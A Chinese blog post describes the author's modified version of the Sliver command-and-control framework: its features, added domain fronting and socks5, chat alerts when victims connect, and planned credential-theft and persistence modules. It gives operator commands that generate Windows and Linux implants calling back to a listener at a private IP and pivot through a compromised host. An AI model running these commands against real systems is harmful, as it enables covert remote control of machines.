前言
项目魔改自Sliver[1],我觉得这个设计很舒服,优点如下:
•第一个肯定是跨平台•通过GRPC通信•Teamserver模式•支持.net内存加载•支持dll侧加载•支持dll反射加载•多协议上线,可以多选,钓鱼的时候比较好用,http不出网就到dns,http->tls->dns•交互式shell•tcp-pivot和name-pipe,熟悉cs的应该知道这两个协议用于内网机器上线。•支持插件模式•可以自己伪造流量
他的缺点:
•默认协议不支持s5代理,只有wg协议支持socks代理,比较稳定。•windows下的功能没有cs那么强悍,需要通过自己去写插件来补齐能力。•没有GUI。我尝试写过一版,因为使用的是Electron,dns和http2这两个库没法用,作者给了我解决方案,后面把cmd版本完善后再去考虑做跨平台的GUI。•生成文件体积很大,11M左右•自身存在一定特征。•一个C2需要的功能模块满足基本硬需求就好了,最好还是以插件形式添加,不然很臃肿,Go写的东西体积本来就大。•执行命令不是异步的。
我魔改的地方:
•添加socks5模块,(还存在bug,端口转发功能一直没搞定)•机器上线钉钉提醒•去掉没有必要的模块(ps,netstat,ssh等),减小impant体积。•执行cmd命令时自动判断编码,解决原来版本遇到中文报错的情况。•去掉注册表操作模块,感觉没必要,太敏感了,cmd下执行就可以。•截图等其他模块修改保存位置,保存在当前目录下的impantdata目录下,方便查看。•添加域前置-很是离谱,上线一会儿之后就会失去心跳包。•用gotable美化了一下显示页面。
下面想做的
•域前置这个一定要修复•域渗透模块•mimikatz模块•权限维持模块•继续优化体积
开启多用户模式-生成新用户
multiplayernew-player -n xwing --lhost 192.168.123.22
导入配置文件client和server可以同时执行操作。
开启监听,支持mtls,wg(WireGuard[2],一个vpn协议,基于udp通信),http(s),dns
http --lport 1999
生成impant
generate --http 192.168.123.22:1999 --name impant --os win --skip-symbols
进入第一个截图
内存dump
在这台入口机开启tcp监听 tcp-pivot --lport 9999
生成linux的impant
generate --tcp-pivot 192.168.19.16 --os linux --skip-symbols
让linux反连入口机。reconfig --name kali 是重命名当前impant的名字
钉钉提醒
对这个感兴趣的师傅,可以带带我。
[1]
Sliver: https://github.com/BishopFox/sliver
[2]
WireGuard: https://cshihong.github.io/2020/10/11/WireGuard%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/